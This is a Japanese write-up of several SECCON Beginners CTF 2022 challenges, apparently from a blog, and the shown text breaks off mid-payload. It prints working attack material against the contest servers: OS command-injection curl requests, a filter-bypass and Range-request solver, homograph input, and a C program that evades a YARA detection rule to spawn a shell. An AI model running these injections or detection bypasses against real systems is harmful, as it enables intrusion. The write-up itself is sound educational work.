SECCON Beginners CTF 2022に、一人チームrotation
で参加しました。そのwrite-up記事です。
- コンテスト概要
- 結果
- 環境
- 解けた問題
- [welcome] Welcome (845 team solved, 50 pt)
- [Web, beginner] Util (460 team solved, 54 pt)
- [Web, easy] gallery (156 team solved, 83 pt)
- [misc, easy] phisher (238 team solved, 70 pt)
- [misc, easy] H2 (248 team solved, 69 pt)
- [misc, easy] ultra_super_miracle_validator (40 team solved, 150 pt)
- [misc, medium] hitchhike4b (125 team solved, 91 pt)
- [pwnable, beginner] BeginnersBof (155 team solved, 84 pt)
- [pwnable, easy] raindrop (52 team solved, 134 pt)
- [pwnable, medium] snowdrop (44 team solved, 144 pt)
- [reversing, beginner] Quiz (650 team solved, 50 pt)
- [reversing, easy] WinTLS (102 team solved, 100 pt)
- [reversing, easy] Recursive (127 team solved, 91 pt)
- [reversing, medium] Ransom (61 team solved, 125 pt)
- [reversing, hard] please_not_debug_me (48 team solved, 138 pt)
- [crypto, beginner] CoughingFox (443 team solved, 55 pt)
- [crypto, easy] PrimeParty (58 team solved, 127 pt)
- [crypto, easy] Command (88 team solved, 106 pt)
- 感想
コンテスト概要
2022/06/04(土) 14:00 +09:00 - 2022/06/05(日) 14:00:00 +09:00 の開催期間でした。他ルールはRulesページから引用します:
SECCON Beginners CTF 2022 SECCON Beginners CTF 2022 を開催いたします!本イベントは主に日本の CTF 初心者~中級者を対象とした CTF であり、今回は 2018 年の初開催から数えて 5 回目の開催となります。 以下の要項をご確認いただいた上で、ぜひご参加ください。 競技形式 Jeopardy 形式 開催日程 2022/6/4 (土) 14:00 JST から 2022/6/5 (日) 14:00 JST まで 開催時間 24 時間 参加資格 国籍、年齢、性別は問いません。どなたでもご参加いただけます。 競技ルール 得点はチーム毎に集計します。集計にはダイナミックスコアリング方式(多くのチームが解いた問題ほど点数が低くなるような方式)を用います。 原則競技中には問題の追加を行いません。問題の設定ミスなどが発覚した場合には、例外的に修正版の問題が公開される場合があります。 フラグのフォーマットは ctf4b{[\x20-\x7e]+} です。これと異なる形式を取る問題に関しては、別途問題文等でその旨を明示します。 誤った解答を短時間の内に何度も送信した場合は、当該チームからの回答を一定時間受け付けない状態(ロック状態)になる場合があります。またこの状態でさらに不正解を送信し続けた場合はロックされる時間がさらに延長される可能性があります。 問題難易度について 本 CTF は日本の CTF 初心者~中級者を対象としたものです。そのため、近年の一般的な CTF ではほぼ見かけない初心者向けの簡単な問題も一定数出題される予定です。これを機に CTF を始めたいという方や、最近 CTF を始めた方は、ぜひそれらの問題をお楽しみください。 それと同時に、上級者でも楽しめる、少しだけ難易度が高めの問題の出題も予定しています。何度か CTF に参加したことがある方は、ぜひそれらの問題を腕試しとしてご活用いただければと思います。 また、より競技に取りかかりやすくなるように、各問題で「Beginner」「Easy」「Medium」「Hard」といった難易度を示す情報を表示しております。 なお、本 CTF の問題数や難易度は複数人からなるチームでご参加いただくことを想定して設定されております。 1 ~ 2 人チームで参加される場合は、競技時間内に着手・正答できる問題数が限られることが予想されますので、ぜひお誘い合わせの上ご参加ください。 競技中のコミュニケーション 競技中の競技に関するアナウンスは、以下の招待リンクから参加できる Discord サーバにて行います。 https://discord.gg/6sKxFmaUyS また、競技中に運営に問い合わせたいことがある場合にも、こちらの Discord サーバを利用して下さい。 (中略) Twitter @ctf4b
結果
正の得点を得ている891チーム中、1721ptで28位でした。
環境
Windows(Windows Sandboxを含む)とWSL2(Ubuntu 22.04)を主に使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19044.1741] c:\>wsl -l -v NAME STATE VERSION * Ubuntu Stopped 2 kali-linux Stopped 2 Ubuntu-22.04 Running 2 c:\>
他ソフト
- IDA Free Version 7.7.220118 Windows x64 (64-bit address size)
- Wireshark Version 3.6.5 (v3.6.5-0-g21f79ddbefbd)
WSL2(Ubuntu 22.04)
$ cat /proc/version Linux version 5.10.102.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Wed Mar 2 00:30:59 UTC 2022 $ cat /etc/os-release PRETTY_NAME="Ubuntu 22.04 LTS" NAME="Ubuntu" VERSION_ID="22.04" VERSION="22.04 LTS (Jammy Jellyfish)" VERSION_CODENAME=jammy ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=jammy $ python3 --version Python 3.10.4 $ python3 -m pip show pip | grep Version Version: 22.0.2 $ python3 -m pip show IPython | grep Version Version: 7.31.1 $ python3 -m pip show requests | grep Version Version: 2.25.1 $ python3 -m pip show pycryptodome | grep Version Version: 3.14.1 $ python3 -m pip show pwntools | grep Version Version: 4.8.0 $ gdb --version | head -2 GNU gdb (Ubuntu 12.0.90-0ubuntu1) 12.0.90 Copyright (C) 2022 Free Software Foundation, Inc. $ cat ~/peda/README | grep -e 'Version: ' -e 'Release: ' Version: 1.0 Release: special public release, Black Hat USA 2012 $ curl --version curl 7.81.0 (x86_64-pc-linux-gnu) libcurl/7.81.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 zstd/1.4.8 libidn2/2.3.2 libpsl/0.21.0 (+libidn2/2.3.2) libssh/0.9.6/openssl/zlib nghttp2/1.43.0 librtmp/2.3 OpenLDAP/2.5.11 Release-Date: 2022-01-05 Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB PSL SPNEGO SSL TLS-SRP UnixSockets zstd $
解けた問題
[welcome] Welcome (845 team solved, 50 pt)
Welcome to SECCON Beginners CTF 2022! フラグはDiscordサーバのannouncementsチャンネルにて公開されています。 https://discord.gg/6sKxFmaUyS
Discordを見に行くと、以下の書き込みがありました:
Tsubasa — Today at 2:00 PM @everyone 📣 SECCON Beginners CTF 2022 開始 📣 SECCON Beginners CTF 2022 を開始します。 https://score.beginners.azure.noc.seccon.jp/ (注: 競技開始後、スコアサーバにアクセスする際はページのリロードをお願いいたします。) 問題 「Welcome」のフラグは ctf4b{W3LC0M3_70_53CC0N_B361NN3R5_C7F_2022} です。
フラグを入手できました: ctf4b{W3LC0M3_70_53CC0N_B361NN3R5_C7F_2022}
[Web, beginner] Util (460 team solved, 54 pt)
ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...? (注意) SECCON Beginners運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。 https://util.quals.beginners.seccon.jp util.tar.gz 95a1abb627b8b2342fae9f10680d599730604a1e
とりあえずページへアクセスして触りました。IPアドレスの入力フォームがあり、指定IPアドレスへPINGを実行して結果を表示してくれる内容のようです。問題文の通り、8.8.8.8等の外部とは疎通不能でした。
配布ファイルを見ていると、main.go
に以下のコードがありました(抜粋):
r.POST("/util/ping", func(c *gin.Context) { var param IP if err := c.Bind(¶m); err != nil { c.JSON(400, gin.H{"message": "Invalid parameter"}) return } commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2" result, _ := exec.Command("sh", "-c", commnd).CombinedOutput() c.JSON(200, gin.H{ "result": string(result), }) })
command
の構築に単なる文字列結合を行っていてエスケープを行っていないので、OSコマンドインジェクションができそうです。Content-Type内容が全部小文字でないとうまくいかないらしいことに悩みつつ、試行錯誤しました:
$ curl https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: Application/json" -d '{"Address": "127.0.0.1; ls /"}' {"result":"BusyBox v1.33.1 () multi-call binary.\n\nUsage: ping [OPTIONS] HOST\n\nSend ICMP ECHO_REQUESTs to HOST\n\n\t-4,-6\t\tForce IP or IPv6 name resolution\n\t-c CNT\t\tSend only CNT pings\n\t-s SIZE\t\tSend SIZE data bytes in packets (default 56)\n\t-i SECS\t\tInterval\n\t-A\t\tPing as soon as reply is recevied\n\t-t TTL\t\tSet TTL\n\t-I IFACE/IP\tSource interface or IP address\n\t-W SEC\t\tSeconds to wait for the first response (default 10)\n\t\t\t(after all -c CNT packets are sent)\n\t-w SEC\t\tSeconds until ping exits (default:infinite)\n\t\t\t(can exit earlier with -c CNT)\n\t-q\t\tQuiet, only display output at start/finish\n\t-p HEXBYTE\tPayload pattern\n"} $ curl https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json" -d '{"Address": "127.0.0.1; ls / "}' {"result":"PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.131 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.131/0.131/0.131 ms\napp\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"} $ curl https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json" -d '{"Address": "127.0.0.1; cat /flag_A74FIBkN9sELAjOc.txt "}' {"result":"PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.117 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.117/0.117/0.117 ms\nctf4b{al1_0vers_4re_i1l}\n"}
フラグを入手できました: ctf4b{al1_0vers_4re_i1l}
[Web, easy] gallery (156 team solved, 83 pt)
絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた? 仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね? https://gallery.quals.beginners.seccon.jp gallery.tar.gz a1179b888f1026f9319c859d6711a3300886f610
とりあえずページへアクセスして触りました。https://gallery.quals.beginners.seccon.jp/?file_extension=gif
等、拡張子によるフィルタリングを行ったファイル一覧を表示してくれるサイトのようです。配布ファイルを見ると、backend/handlers.go
で以下のフィルタリング処理がありました:
fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "") fileExtension = strings.ReplaceAll(fileExtension, "flag", "") if fileExtension == "" { fileExtension = "jpeg" }
replaceを1回だけしているので、flflagag
とネストした文字列を指定してみると、フラグファイル内容が存在することがわかりました:
意気揚々とフラグファイルにアクセスしましたが、ひたすら「?」文字で埋め尽くされたレスポンスが返りました。問題文にある通りサイズ制限がありそうです。よく見るとbackend/main.go
で以下の記述がありました:
h.ServeHTTP(&MyResponseWriter{ ResponseWriter: rw, lengthLimit: 10240, // SUPER SECURE THRESHOLD }, r)
以前のなにかのCTFで、レスポンスの一部分だけを返すように要求するHTTPリクエストヘッダーを使った問題があったはず、と思い出してググってみると、HTTP range requests - HTTP | MDNを見つけました。これらを利用して以下のソルバーを書きました:
#!/usr/bin/env python3 import requests import time data = b"" with requests.Session() as session: for i in range(256): headers = {"Range": f"bytes={i*8192}-{(i+1)*8192-1}"} print(headers) r = session.get("https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf", headers=headers) print(r.headers) data += r.content if len(data) >= 16085: # レスポンスの「Content-Range: bytes 0-50/16085」から判断 break time.sleep(1) with open("flag.pdf", "wb") as f: f.write(data)
実行して得られたPDFファイル中にフラグが書かれていました: ctf4b{r4nge_reque5t_1s_u5efu1!}
[misc, easy] phisher (238 team solved, 70 pt)
ホモグラフ攻撃を体験してみましょう。 心配しないで!相手は人間ではありません。 nc phisher.quals.beginners.seccon.jp 44322 phisher.tar.gz bc81b6186868cb1d932a12bd5a3612010b52cb8d
配布ファイルの中に、以下のphisher.py
がありました:
import os import pyocr import random import string import cv2 as cv import numpy as np from PIL import ImageFont, ImageDraw, Image flag = os.getenv("CTF4B_FLAG") fqdn = "www.example.com" # TEXT to PNG def text2png(text:str) -> str: os.makedirs("phish", exist_ok=True) filename = "".join([random.choice(string.ascii_letters) for i in range(15)]) png = f"phish/{filename}.png" img = np.full((100, 600, 3), 0, dtype=np.uint8) font = ImageFont.truetype("font/Murecho-Black.ttf", 64) img_pil = Image.fromarray(img) ImageDraw.Draw(img_pil).text((10, 0), text[:15], font=font, fill=(255, 255, 255)) # text[:15] :) img = np.array(img_pil) cv.imwrite(png, img) return png # PNG to TEXT (OCR-English) def ocr(image:str) -> str: tool = pyocr.get_available_tools()[0] text = tool.image_to_string(Image.open(image), lang="eng") os.remove(image) if not text: text = "???????????????" return text # Can you deceive the OCR? # Give me "www.example.com" without using "www.example.com" !!! def phishing() -> None: input_fqdn = input("FQDN: ")[:15] ocr_fqdn = ocr(text2png(input_fqdn)) if ocr_fqdn == fqdn: # [OCR] OK !!! for c in input_fqdn: if c in fqdn: global flag flag = f"\"{c}\" is included in \"www.example.com\" ;(" break print(flag) else: # [OCR] NG print(f"\"{ocr_fqdn}\" is not \"www.example.com\" !!!!") if __name__ == "__main__": print(""" _ _ _ ____ __ _ __ | |__ (_)___| |__ ___ _ __ / /\ \ / / | '_ \| '_ \| / __| '_ \ / _ \ '__| / / \ \/ / | |_) | | | | \__ \ | | | __/ | \ \ / /\ \\ | .__/|_| |_|_|___/_| |_|\___|_| \_\/_/ \_\\ |_| """) phishing()
英語の文字集合のみでテキスト化するOCRを経由して、www.example.com
を、それら自身の文字は一切使わずに構築しという内容です。ギリシャ文字やキリル文字にはアルファベットとほぼ同じ字形の別文字があったはずと思い、以下のサイトを見ながら構築しました:
- ギリシア文字 - Wikipedia
- キリル文字一覧 - Wikipedia
- Unicode Utilities: Confusables
- unicode - Alternative symbol for dot/period/full stop that will work at the end of a folder name? - Super User
同一文字を文字を15個入れるだけでは全く認識してくれず???????????????
扱いになることが多々あったので、www.example.com
を先頭から変えていってエラーメッセージを見ながら試していきました。最終的なペイロードはᴡᴡᴡ․ежамрӀе․сом
になりました:
$ nc -q 0 phisher.quals.beginners.seccon.jp 44322 _ _ _ ____ __ _ __ | |__ (_)___| |__ ___ _ __ / /\ \ / / | '_ \| '_ \| / __| '_ \ / _ \ '__| / / \ \/ / | |_) | | | | \__ \ | | | __/ | \ \ / /\ \ | .__/|_| |_|_|___/_| |_|\___|_| \_\/_/ \_\ |_| FQDN: ᴡᴡᴡ․ежамрӀе․сом ctf4b{n16h7_ph15h1n6_15_600d} $
フラグを入手できました: ctf4b{n16h7_ph15h1n6_15_600d}
[misc, easy] H2 (248 team solved, 69 pt)
バージョン2です。 h2.tar.gz 5880295ecec74f5ee5f2d56b0e22eee7d9940e66
配布ファイルとして、capture.pcap
と、以下のmain.go
がありました:
package main import ( "net/http" "log" "fmt" "golang.org/x/net/http2" "golang.org/x/net/http2/h2c" ) const SECRET_PATH = "<secret>" func main() { handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.URL.Path == SECRET_PATH { w.Header().Set("x-flag", "<secret>") } w.WriteHeader(200) fmt.Fprintf(w, "Can you find the flag?\n") }) h2s := &http2.Server{} h1s := &http.Server{ Addr: ":8080", Handler: h2c.NewHandler(handler, h2s), } log.Fatal(h1s.ListenAndServe()) }
x-flag
ヘッダーを含むHTTP2レスポンスを見つける問題のようです。ただpcapファイルが96,974,057バイトと結構な大きさで、フィルタリング等を反映させようにも10秒程度かかるので大変でした。http2.headers contains "x-flag"
で一発で見つからないか試しましたが、残念ながら結果は0件でした。仕方がないのでhttp2.headers
でフィルタリングしつつInfo列でソートして、レスポンス箇所周辺をカーソルキー押しっぱなしで眺めていると、739024番目のパケットにフラグが含まれていました:
フラグを入手できました: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}
[misc, easy] ultra_super_miracle_validator (40 team solved, 150 pt)
C言語のソースコードをコンパイルして実行してくれるサービスを作りました! 危険なコードは実行させたくないので,天才的で複雑な充足可能性問題を用いたルールに基づいて弾いています! nc ultra-super-miracle-validator.quals.beginners.seccon.jp 5000 ultra_super_miracle_validator.tar.gz 5bef397297b20c840031b87d4864ac4a8ef98da9
配布ファイルとして、以下のmain.py
とrule.yara
がありました:
#!/usr/bin/env python3 import yara import hashlib import os import subprocess rule = yara.compile(filepath='./rule.yara') print('source:') src = input() digest = hashlib.sha256(src.encode()).hexdigest() binfile = f'/tmp/{digest}' sourcefile = f'/tmp/{digest}.c' devnull = open('/dev/null') with open(sourcefile, mode='w') as f: f.write(src) com = subprocess.run(['clang', '-static', '-o', binfile, sourcefile], cwd='/tmp', capture_output=True) if com.returncode != 0: os.remove(sourcefile) print('Compile Error') exit(1) try: matches = rule.match(binfile, timeout=1) if len(matches) > 0: os.remove(sourcefile) os.remove(binfile) print('Malicious binary detected!!!') print('Please not exploit me...') else: os.remove(sourcefile) print('Not matched. Have Fun!') subprocess.run([f'/tmp/{digest}']) os.remove(binfile) except: os.remove(sourcefile) os.remove(binfile)
rule MalElf { meta: description = "Malicious ELF binary" strings: $x1 = {e3 82 89 e3 81 9b e3 82 93 e9 9a 8e e6 ae b5} $x2 = {e3 82 ab e3 83 96 e3 83 88 e8 99 ab} $x3 = {e5 bb 83 e5 a2 9f e3 81 ae e8 a1 97} $x4 = {e3 82 a4 e3 83 81 e3 82 b8 e3 82 af e3 81 ae e3 82 bf e3 83 ab e3 83 88} $x5 = {e3 83 89 e3 83 ad e3 83 ad e3 83 bc e3 82 b5 e3 81 b8 e3 81 ae e9 81 93} $x6 = {e7 89 b9 e7 95 b0 e7 82 b9} $x7 = {e3 82 b8 e3 83 a7 e3 83 83 e3 83 88} $x8 = {e5 a4 a9 e4 bd bf} $x9 = {e7 b4 ab e9 99 bd e8 8a b1} $x10 = {e7 a7 98 e5 af 86 e3 81 ae e7 9a 87 e5 b8 9d} $x11 = {82 e7 82 b9 82 f1 8a 4b 92 69} $x12 = {83 4a 83 75 83 67 92 8e} $x13 = {94 70 9a d0 82 cc 8a 58} $x14 = {83 43 83 60 83 57 83 4e 82 cc 83 5e 83 8b 83 67} $x15 = {83 68 83 8d 83 8d 81 5b 83 54 82 d6 82 cc 93 b9} $x16 = {93 c1 88 d9 93 5f} $x17 = {83 57 83 87 83 62 83 67} $x18 = {93 56 8e 67} $x19 = {8e 87 97 7a 89 d4} $x20 = {94 e9 96 a7 82 cc 8d 63 92 e9} $x21 = {30 89 30 5b 30 93 96 8e 6b b5} $x22 = {30 4b 30 76} $x23 = {5e c3 58 9f 30 6e 88 57} $x24 = {30 a4 30 c1 30 b8 30 af 30 6e 30 bf 30 eb 30 c8} $x25 = {30 c9 30 ed 30 ed 30 fc 30 b5 30 78 30 6e 90 53} $x26 = {72 79 75 70 70 b9} $x27 = {30 b8 30 e7 30 c3 30 c8} $x28 = {59 29 4f 7f} $x29 = {7d 2b 96 7d 82 b1} $x30 = {79 d8 5b c6 30 6e 76 87 5e 1d} $x31 = {2b 4d 49 6b 2d 2b 4d 46 73 2d 2b 4d 4a 4d 2d 2b 6c 6f 34 2d} $x32 = {2b 4d 45 73 2d 2b 4d 48} $x33 = {2b 58 73 4d 2d 2b 57 4a 38 2d 2b 4d 47 34 2d 2b} $x34 = {2b 4d 4b 51 2d 2b 4d 4d 45 2d 2b 4d 4c 67 2d 2b 4d 4b 38 2d 2b 4d 47 34 2d 2b 4d 4c 38 2d 2b 4d} $x35 = {2b 4d 4d 6b 2d 2b 4d 4f 30 2d 2b 4d 4f 30 2d 2b 4d 50 77 2d 2b 4d 4c 55 2d 2b 4d 48 67 2d 2b 4d} $x36 = {2b 63 6e 6b 2d 2b 64 58 41 2d 2b 63} $x37 = {2b 4d 4c 67 2d 2b 4d 4f 63 2d 2b 4d 4d 4d 2d 2b} $x38 = {2b 57 53 6b 2d 2b 54 33} $x39 = {2b 66 53 73 2d 2b 6c 6e 30 2d 2b 67} $x40 = {2b 65 64 67 2d 2b 57 38 59 2d 2b 4d 47 34 2d 2b 64 6f 63 2d} condition: not (($x1 or $x6 or $x12 or not $x21 or $x32) and ($x3 or $x5 or not $x11 or $x24 or $x35) and (not $x3 or $x31 or $x40 or $x9 or $x27) and ($x4 or $x8 or $x10 or $x29 or $x40) and ($x4 or $x7 or $x11 or $x25 or not $x36) and ($x8 or $x14 or $x18 or $x21 or $x38) and ($x12 or $x15 or not $x20 or $x30 or $x35) and ($x19 or $x21 or not $x32 or $x33 or $x39) and ($x2 or $x37 or $x19 or not $x23) and (not $x5 or $x14 or $x23 or $x30) and (not $x5 or $x8 or $x18 or $x23) and ($x33 or $x22 or $x4 or $x38) and ($x2 or $x20 or $x39) and ($x3 or $x15 or not $x30) and ($x6 or not $x17 or $x30) and ($x8 or $x29 or not $x21) and (not $x16 or $x1 or $x29) and ($x20 or $x10 or not $x5) and (not $x13 or $x25) and ($x21 or $x28 or $x30) and not $x2 and $x3 and not $x7 and not $x10 and not $x11 and $x14 and not $x15 and not $x22 and $x26 and not $x27 and $x34 and $x36 and $x37 and not $x40) }
main.py
側は、1行のC言語ソースコードをclangでコンパイルしてyara検索にかけ、ヒットしなければ実行してくれるものです。YARAルール側は複雑な条件ですが、連言標準形と呼ばれている形式に見えます。ルールをよく読むと、and not $x2 and
などの単一notが存在するため$x2
は含めてはならないなどと分かります。同様に単一notが存在する項は含めず、そうでない項は含める方針としました。含める内容は文字列として突っ込み、動作としてはsystem関数でシェルを取得する方針にしました。なお、C言語では関数宣言がなくても引数や戻り値をintと仮定する警告で済むので#include
は不要です。この内容でソースコードを生成しました:
#!/usr/bin/env python3 rule = """ $x1 = {e3 82 89 e3 81 9b e3 82 93 e9 9a 8e e6 ae b5} // $x2 = {e3 82 ab e3 83 96 e3 83 88 e8 99 ab} $x3 = {e5 bb 83 e5 a2 9f e3 81 ae e8 a1 97} $x4 = {e3 82 a4 e3 83 81 e3 82 b8 e3 82 af e3 81 ae e3 82 bf e3 83 ab e3 83 88} $x5 = {e3 83 89 e3 83 ad e3 83 ad e3 83 bc e3 82 b5 e3 81 b8 e3 81 ae e9 81 93} $x6 = {e7 89 b9 e7 95 b0 e7 82 b9} // $x7 = {e3 82 b8 e3 83 a7 e3 83 83 e3 83 88} $x8 = {e5 a4 a9 e4 bd bf} $x9 = {e7 b4 ab e9 99 bd e8 8a b1} // $x10 = {e7 a7 98 e5 af 86 e3 81 ae e7 9a 87 e5 b8 9d} // $x11 = {82 e7 82 b9 82 f1 8a 4b 92 69} $x12 = {83 4a 83 75 83 67 92 8e} $x13 = {94 70 9a d0 82 cc 8a 58} $x14 = {83 43 83 60 83 57 83 4e 82 cc 83 5e 83 8b 83 67} // $x15 = {83 68 83 8d 83 8d 81 5b 83 54 82 d6 82 cc 93 b9} $x16 = {93 c1 88 d9 93 5f} $x17 = {83 57 83 87 83 62 83 67} $x18 = {93 56 8e 67} $x19 = {8e 87 97 7a 89 d4} $x20 = {94 e9 96 a7 82 cc 8d 63 92 e9} $x21 = {30 89 30 5b 30 93 96 8e 6b b5} // $x22 = {30 4b 30 76} $x23 = {5e c3 58 9f 30 6e 88 57} $x24 = {30 a4 30 c1 30 b8 30 af 30 6e 30 bf 30 eb 30 c8} $x25 = {30 c9 30 ed 30 ed 30 fc 30 b5 30 78 30 6e 90 53} $x26 = {72 79 75 70 70 b9} // $x27 = {30 b8 30 e7 30 c3 30 c8} $x28 = {59 29 4f 7f} $x29 = {7d 2b 96 7d 82 b1} $x30 = {79 d8 5b c6 30 6e 76 87 5e 1d} $x31 = {2b 4d 49 6b 2d 2b 4d 46 73 2d 2b 4d 4a 4d 2d 2b 6c 6f 34 2d} $x32 = {2b 4d 45 73 2d 2b 4d 48} $x33 = {2b 58 73 4d 2d 2b 57 4a 38 2d 2b 4d 47 34 2d 2b} $x34 = {2b 4d 4b 51 2d 2b 4d 4d 45 2d 2b 4d 4c 67 2d 2b 4d 4b 38 2d 2b 4d 47 34 2d 2b 4d 4c 38 2d 2b 4d} $x35 = {2b 4d 4d 6b 2d 2b 4d 4f 30 2d 2b 4d 4f 30 2d 2b 4d 50 77 2d 2b 4d 4c 55 2d 2b 4d 48 67 2d 2b 4d} $x36 = {2b 63 6e 6b 2d 2b 64 58 41 2d 2b 63} $x37 = {2b 4d 4c 67 2d 2b 4d 4f 63 2d 2b 4d 4d 4d 2d 2b} $x38 = {2b 57 53 6b 2d 2b 54 33} $x39 = {2b 66 53 73 2d 2b 6c 6e 30 2d 2b 67} // $x40 = {2b 65 64 67 2d 2b 57 38 59 2d 2b 4d 47 34 2d 2b 64 6f 63 2d} """ hex_list = [] for line in rule.strip().split("\n"): if "//" in line: continue begin = line.index("{") + 1 end = line.index("}") hex_list.append("".join(map(lambda s: "\\x" + s, line[begin:end].split(" ")))) print('int main(){system("/bin/sh"); puts("' + "".join(hex_list) + '"); return 0;}')
出力内容をnc経由で与えました(パイプだとうまくいきませんでした):
$ ./solve.py int main(){system("/bin/sh"); puts("\xe3\x82\x89\xe3\x81\x9b\xe3\x82\x93\xe9\x9a\x8e\xe6\xae\xb5\xe5\xbb\x83\xe5\xa2\x9f\xe3\x81\xae\xe8\xa1\x97\xe3\x82\xa4\xe3\x83\x81\xe3\x82\xb8\xe3\x82\xaf\xe3\x81\xae\xe3\x82\xbf\xe3\x83\xab\xe3\x83\x88\xe3\x83\x89\xe3\x83\xad\xe3\x83\xad\xe3\x83\xbc\xe3\x82\xb5\xe3\x81\xb8\xe3\x81\xae\xe9\x81\x93\xe7\x89\xb9\xe7\x95\xb0\xe7\x82\xb9\xe5\xa4\xa9\xe4\xbd\xbf\xe7\xb4\xab\xe9\x99\xbd\xe8\x8a\xb1\x83\x4a\x83\x75\x83\x67\x92\x8e\x94\x70\x9a\xd0\x82\xcc\x8a\x58\x83\x43\x83\x60\x83\x57\x83\x4e\x82\xcc\x83\x5e\x83\x8b\x83\x67\x93\xc1\x88\xd9\x93\x5f\x83\x57\x83\x87\x83\x62\x83\x67\x93\x56\x8e\x67\x8e\x87\x97\x7a\x89\xd4\x94\xe9\x96\xa7\x82\xcc\x8d\x63\x92\xe9\x30\x89\x30\x5b\x30\x93\x96\x8e\x6b\xb5\x5e\xc3\x58\x9f\x30\x6e\x88\x57\x30\xa4\x30\xc1\x30\xb8\x30\xaf\x30\x6e\x30\xbf\x30\xeb\x30\xc8\x30\xc9\x30\xed\x30\xed\x30\xfc\x30\xb5\x30\x78\x30\x6e\x90\x53\x72\x79\x75\x70\x70\xb9\x59\x29\x4f\x7f\x7d\x2b\x96\x7d\x82\xb1\x79\xd8\x5b\xc6\x30\x6e\x76\x87\x5e\x1d\x2b\x4d\x49\x6b\x2d\x2b\x4d\x46\x73\x2d\x2b\x4d\x4a\x4d\x2d\x2b\x6c\x6f\x34\x2d\x2b\x4d\x45\x73\x2d\x2b\x4d\x48\x2b\x58\x73\x4d\x2d\x2b\x57\x4a\x38\x2d\x2b\x4d\x47\x34\x2d\x2b\x2b\x4d\x4b\x51\x2d\x2b\x4d\x4d\x45\x2d\x2b\x4d\x4c\x67\x2d\x2b\x4d\x4b\x38\x2d\x2b\x4d\x47\x34\x2d\x2b\x4d\x4c\x38\x2d\x2b\x4d\x2b\x4d\x4d\x6b\x2d\x2b\x4d\x4f\x30\x2d\x2b\x4d\x4f\x30\x2d\x2b\x4d\x50\x77\x2d\x2b\x4d\x4c\x55\x2d\x2b\x4d\x48\x67\x2d\x2b\x4d\x2b\x63\x6e\x6b\x2d\x2b\x64\x58\x41\x2d\x2b\x63\x2b\x4d\x4c\x67\x2d\x2b\x4d\x4f\x63\x2d\x2b\x4d\x4d\x4d\x2d\x2b\x2b\x57\x53\x6b\x2d\x2b\x54\x33\x2b\x66\x53\x73\x2d\x2b\x6c\x6e\x30\x2d\x2b\x67"); return 0;} $ nc -q 0 ultra-super-miracle-validator.quals.beginners.seccon.jp 5000 source: int main(){system("/bin/sh"); puts("\xe3\x82\x89\xe3\x81\x9b\xe3\x82\x93\xe9\x9a\x8e\xe6\xae\xb5\xe5\xbb\x83\xe5\xa2\x9f\xe3\x81\xae\xe8\xa1\x97\xe3\x82\xa4\xe3\x83\x81\xe3\x82\xb8\xe3\x82\xaf\xe3\x81\xae\xe3\x82\xbf\xe3\x83\xab\xe3\x83\x88\xe3\x83\x89\xe3\x83\xad\xe3\x83\xad\xe3\x83\xbc\xe3\x82\xb5\xe3\x81\xb8\xe3\x81\xae\xe9\x81\x93\xe7\x89\xb9\xe7\x95\xb0\xe7\x82\xb9\xe5\xa4\xa9\xe4\xbd\xbf\xe7\xb4\xab\xe9\x99\xbd\xe8\x8a\xb1\x83\x4a\x83\x75\x83\x67\x92\x8e\x94\x70\x9a\xd0\x82\xcc\x8a\x58\x83\x43\x83\x60\x83\x57\x83\x4e\x82\xcc\x83\x5e\x83\x8b\x83\x67\x93\xc1\x88\xd9\x93\x5f\x83\x57\x83\x87\x83\x62\x83\x67\x93\x56\x8e\x67\x8e\x87\x97\x7a\x89\xd4\x94\xe9\x96\xa7\x82\xcc\x8d\x63\x92\xe9\x30\x89\x30\x5b\x30\x93\x96\x8e\x6b\xb5\x5e\xc3\x58\x9f\x30\x6e\x88\x57\x30\xa4\x30\xc1\x30\xb8\x30\xaf\x30\x6e\x30\xbf\x30\xeb\x30\xc8\x30\xc9\x30\xed\x30\xed\x30\xfc\x30\xb5\x30\x78\x30\x6e\x90\x53\x72\x79\x75\x70\x70\xb9\x59\x29\x4f\x7f\x7d\x2b\x96\x7d\x82\xb1\x79\xd8\x5b\xc6\x30\x6e\x76\x87\x5e\x1d\x2b\x4d\x49\x6b\x2d\x2b\x4d\x46\x73\x2d\x2b\x4d\x4a\x4d\x2d\x2b\x6c\x6f\x34\x2d\x2b\x4d\x45\x73\x2d\x2b\x4d\x48\x2b\x58\x73\x4d\x2